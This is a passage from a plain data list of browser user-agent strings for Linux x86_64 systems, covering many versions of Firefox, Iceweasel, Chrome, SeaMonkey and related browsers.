rv:1.9.0.7) Gecko/2009030810 Iceweasel/3.0.7 (Debian-3.0.7-1) Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.7) Gecko/2009031819 Iceweasel/3.0.6 (Debian-3.0.6-1) Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.10 (intrepid) Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.8) Gecko/2009032713 Fedora/3.0.8-1.fc10 Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.8) Gecko/2009032917 Gentoo Iceweasel/3.0.8 Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.8) Gecko/2009033100 Ubuntu/9.04 (jaunty) Firefox/3.0.8 (.NET CLR 3.5.30729) Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.9) Gecko/2009042114 Ubuntu/9.04 (jaunty) Firefox/3.0.9 Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.1.10) Gecko/20100506 SUSE/3.5.10-0.1.1 Firefox/3.5.10 Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.1.16) Gecko/20120131 Iceweasel/3.5.16 (like Firefox/3.5.16) Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.1.16) Gecko/20120714 Iceweasel/3.5.16 (like Firefox/3.5.16) Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.1.6) Gecko/20091210 SUSE/2.0.1-1.1.1 SeaMonkey/2.0.1 Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.2) Gecko/20100308 Ubuntu/10.04 (lucid) Firefox/3.6 Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 GTB7.1 Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.2.17) Gecko/20110415 Ubuntu/10.10 (maverick) Namoroka/3.6.17 Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.2.3) Gecko/20100401 SUSE/3.6.3-1.1 Firefox/3.6.3 Mozilla/5.0 (X11; U; Linux x86_64; el-GR; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 Mozilla/5.0 (X11; U; Linux x86_64; en-AU) AppleWebKit/534.35 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.35 Puffin/3.9174IT Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.8.1.12) Gecko/20080203 SUSE/2.0.0.12-0.1 Firefox/2.0.0.12 Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.8.1.12) Gecko/20080207 Ubuntu/7.10 (gutsy) Firefox/2.0.0.12 Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.8.1.3) Gecko/20070310 Iceweasel/2.0.0.3 (Debian-2.0.0.3-1) Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.8.1b1) Gecko/20060601 BonEcho/2.0b1 (Ubuntu-edgy) Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1 FirePHP/0.1.1.2 Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.10) Gecko/2009042523 Ubuntu/9.04 (jaunty) Firefox/3.0.10 Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11 Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.11) Gecko/2009061208 Iceweasel/3.0.6 (Debian-3.0.6-1) Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.12) Gecko/2009070811 Ubuntu/9.04 (jaunty) Firefox/3.0.12 FirePHP/0.3 Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.2) Gecko/2008092213 Ubuntu/8.04 (hardy) Firefox/3.0.2 Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.5) Gecko/2008122010 Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.7) Gecko/2009030503 Fedora/3.0.7-1.fc9 Firefox/3.0.7 Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.7) Gecko/2009030719 GranParadiso/3.0.7 FirePHP/0.2.4 Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.10 (intrepid) Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.10 (intrepid) Firefox/3.0.8 FirePHP/0.2.4 Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.9) Gecko/2009042113 Ubuntu/8.10 (intrepid) Firefox/3.0.9 Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.9) Gecko/2009050519 iceweasel/2.0 (Debian-3.0.6-1) Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.2.13) Gecko/20101206 Red Hat/3.6-2.el5 Firefox/3.6.13 Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.2.13) Gecko/20101206 Ubuntu/9.10 (karmic) Firefox/3.6.13 Mozilla/5.0 (X11; U; Linux x86_64; en-NZ; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.10 (maverick) Firefox/3.6.13 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.24 Safari/532.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.2 Safari/532.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.208.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.209.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.0 Safari/532.1 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.1 Safari/532.1 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.3 Safari/532.1 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.3 Safari/532.2 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.7 Safari/532.2 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.1 Safari/532.2 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.4 Safari/532.2 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.5 Safari/532.2 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.6 Safari/532.2 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.2 Safari/532.2 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Comodo_Dragon/4.1.1.11 Chrome/4.1.249.1042 Safari/532.5 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.8 (KHTML, like Gecko) Iron/4.0.275.2 Chrome/4.0.275.2 Safari/532.8 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.308.0 Safari/532.9 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.309.0 Safari/532.9 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.1 (KHTML, like Gecko) Chrome/5.0.335.0 Safari/533.1 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.1 Safari/533.2 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.3 Safari/533.2 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Arora/0.11.0 Safari/533.3 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.353.0 Safari/533.3 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.354.0 Safari/533.3 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.358.0 Safari/533.3 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.368.0 Safari/533.4 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.417.0 Safari/534.1 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.427.0 Safari/534.1 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.544.0 Safari/534.10 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.200 Safari/534.10 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Ubuntu/10.10 Chromium/8.0.552.237 Chrome/8.0.552.237 Safari/534.10 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.0 Safari/534.13 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13 v1333515017.9196 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13 v1416664997.4379 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13 v1416670950.695 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13 v1416748405.3871 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13 v1416758524.9051 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Ubuntu/10.04 Chromium/9.0.595.0 Chrome/9.0.595.0 Safari/534.13 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Ubuntu/10.10 Chromium/9.0.600.0 Chrome/9.0.600.0 Safari/534.14 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Chrome/10.0.613.0 Safari/534.15 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.11 Safari/534.16 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.82 Safari/534.16 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Iron/10.0.650.0 Chrome/10.0.650.0 Safari/534.16 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Iron/10.0.650.1 Chrome/10.0.650.1 Safari/534.16 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.642.0 Chrome/10.0.642.0 Safari/534.16 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.648.0 Chrome/10.0.648.0 Safari/534.16 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.648.127 Chrome/10.0.648.127 Safari/534.16 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.648.133 Chrome/10.0.648.133 Safari/534.16 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 SUSE/10.0.626.0 (KHTML, like Gecko) Chrome/10.0.626.0 Safari/534.16 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.458.1 Safari/534.3 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.470.0 Safari/534.3 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.514.0 Safari/534.7 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Epiphany/2.30.6 Safari/534.7 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Iron/7.0.520.0 Chrome/7.0.520.0 Safari/534.7 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.20 Safari/535.1 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.114 Safari/537.36 Puffin/4.5.0IT Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/540.0 (KHTML, like Gecko) Ubuntu/10.10 Chrome/8.1.0.0 Safari/540.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/540.0 (KHTML, like Gecko) Ubuntu/10.10 Chrome/9.1.0.0 Safari/540.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/540.0 (KHTML,like Gecko) Chrome/9.1.0.0 Safari/540.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US) Gecko Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.10) Gecko/20050724 Firefox/1.0.6 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.12) Gecko/20050922 Fedora/1.0.7-1.1.fc4 Firefox/1.0.7 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.12) Gecko/20051127 Firefox/1.0.7 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.12) Gecko/20051218 Firefox/1.0.7 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.12) Gecko/20060202 CentOS/1.0.7-1.4.3.centos4 Firefox/1.0.7 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.6) Gecko/20050405 Firefox/1.0 (Ubuntu package 1.0.2) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8) Gecko/20051201 Firefox/1.5 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8) Gecko/20051212 Firefox/1.5 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.1) Gecko/20060313 Fedora/1.5.0.1-9 Firefox/1.5.0.1 pango-text Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.10) Gecko/20070409 CentOS/1.5.0.10-2.el5.centos Firefox/1.5.0.10 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.12) Gecko/20070530 Fedora/1.5.0.12-1.fc6 Firefox/1.5.0.12 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.12) Gecko/20070718 Red Hat/1.5.0.12-3.el5 Firefox/1.5.0.12 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.12) Gecko/20080419 CentOS/1.5.0.12-0.15.el4.centos Firefox/1.5.0.12 pango-text Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.14eol) Gecko/20120628 CentOS/1.0.9-40.el4.centos SeaMonkey/1.0.9 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.3) Gecko/20060522 Firefox/1.5.0.3 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.3) Gecko/20060523 Ubuntu/dapper Firefox/1.5.0.3 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.4) Gecko/20060608 Ubuntu/dapper-security Firefox/1.5.0.4 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.5) Gecko/20060731 Ubuntu/dapper-security Firefox/1.5.0.5 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.5) Gecko/20060911 Firefox/1.5.0.5 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.7) Gecko/20060911 Firefox/1.5.0.7 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.7) Gecko/20060919 Firefox/1.5.0.7 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.7) Gecko/20060921 Ubuntu/dapper-security Firefox/1.5.0.7 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.7) Gecko/20060924 Firefox/1.5.0.7 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.8) Gecko/20061109 SeaMonkey/1.0.6 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.0.9) Gecko/20070126 Ubuntu/dapper-security Firefox/1.5.0.9 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1) Gecko/20060601 Firefox/2.0 (Ubuntu-edgy) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1) Gecko/20061023 SUSE/2.0-37 Firefox/2.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1) Gecko/20061024 Iceweasel/2.0 (Debian-2.0+dfsg-1) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1) Gecko/20061122 Firefox/2.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1) Gecko/20061127 lolifox/0.3.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1) Gecko/20061128 Firefox/2.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1) Gecko/20061202 Firefox/2.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.1) Gecko/20060601 Firefox/2.0.0.1 (Ubuntu-edgy) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-4) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.10) Gecko/20061201 Firefox/2.0.0.10 (Ubuntu-feisty) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.11) Gecko/20070914 Mandriva/2.0.0.11-1.1mdv2008.0 (2008.0) Firefox/2.0.0.11 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.11) Gecko/20071128 Iceweasel/2.0.0.11 (Debian-2.0.0.11-1) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.11) Gecko/20071201 Firefox/2.0.0.11 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.12) Gecko/20080129 Firefox/2.0.0.8 (Debian-2.0.0.12-1) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.12) Gecko/20080203 SUSE/2.0.0.12-0.1 Firefox/2.0.0.12 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.12) Gecko/20080208 BonEcho/2.0.0.12 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.12) Gecko/20080209 SeaMonkey/1.1.8 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.12) Gecko/20080214 Firefox/2.0.0.12 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.13) Gecko/20080208 Mandriva/2.0.0.13-1mdv2008.1 (2008.1) Firefox/2.0.0.13 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.14) Gecko/20080404 Iceweasel/2.0.0.14 (Debian-2.0.0.14-2) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.15) Gecko/20080702 Ubuntu/8.04 (hardy) Firefox/2.0.0.15 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.16) Gecko/20080702 Iceweasel/2.0.0.16 (Debian-2.0.0.16-0etch1) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.16) Gecko/20080718 Ubuntu/8.04 (hardy) Firefox/2.0.0.16 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.16) Gecko/20080719 Firefox/2.0.0.16 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.17) Gecko/20080829 SeaMonkey/1.1.12 (Ubuntu-1.1.12+nobinonly-0ubuntu1) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.17) Gecko/20080922 SUSE/1.1.12-0.1 SeaMonkey/1.1.12 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.17) Gecko/20081018 Thunderbird/2.0.0.17 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.18) Gecko/20081110 SUSE/1.1.13-1.10 SeaMonkey/1.1.13 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.18) Gecko/20081112 Fedora/2.0.0.18-1.fc8 Firefox/2.0.0.18 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.18) Gecko/20081113 Ubuntu/8.04 (hardy) Firefox/2.0.0.18 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.19) Gecko/20081202 Iceweasel/2.0.0.19 (Debian-2.0.0.19-0etch1) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.19) Gecko/20081204 Iceape/1.1.14 (Debian-1.1.14-1) Mnenhy/0.7.6.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.19) Gecko/20081213 SUSE/2.0.0.19-0.1 Firefox/2.0.0.19 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.2) Gecko/20070224 SeaMonkey/1.1.1 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.21) Gecko/20090328 Fedora/1.1.15-3.fc10 SeaMonkey/1.1.15 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.21) Gecko/20090413 SeaMonkey/1.1.16 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.3) Gecko/20061201 Firefox/2.0.0.3 (Ubuntu-feisty) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.3) Gecko/20070310 Iceweasel/2.0.0.3 (Debian-2.0.0.3-1) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.3) Gecko/20070322 Firefox/2.0.0.3 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.3) Gecko/20070324 Firefox/2.0.0.3 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.3) Gecko/20070415 Firefox/2.0.0.3 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.4) Gecko/20061201 Firefox/2.0.0.4 (Ubuntu-feisty) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.4) Gecko/20061201 Firefox/2.0.0.4 (Ubuntu-feisty) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.4) Gecko/20070529 SUSE/2.0.0.4-6.1 Firefox/2.0.0.4 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.4) Gecko/20070604 Firefox/2.0.0.4 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.4) Gecko/20070627 Firefox/2.0.0.4 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.5) Gecko/20061201 Firefox/2.0.0.5 (Ubuntu-feisty) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.6) Gecko/20061201 Firefox/2.0.0.6 (Ubuntu-feisty) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.6) Gecko/20070723 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.6) Gecko/20070812 BonEcho/2.0.0.6 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.7) Gecko/20070918 BonEcho/2.0.0.7 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.7) Gecko/20070918 Firefox/2.0.0.7 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071015 SUSE/2.0.0.8-1.1 Firefox/2.0.0.8 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy) Firefox/2.0.0.8 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.9) Gecko/20071103 BonEcho/2.0.0.9 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9) Gecko/2008061317 (Gentoo) Firefox/3.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9) Gecko/2008062315 (Gentoo) Firefox/3.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9) Gecko/2008062908 Firefox/3.0 (Debian-3.0~rc2-2) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9) Gecko/2008062908 Iceweasel/3.0 (Debian-3.0~rc2-2) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0) Gecko/2008061600 SUSE/3.0-1.2 Firefox/3.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.1) Gecko/2008071420 Iceweasel/3.0.1 (Debian-3.0.1-1) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.1) Gecko/2008071818 GranParadiso/3.0.1 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.1) Gecko/2008072610 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.1) Gecko/2008072610 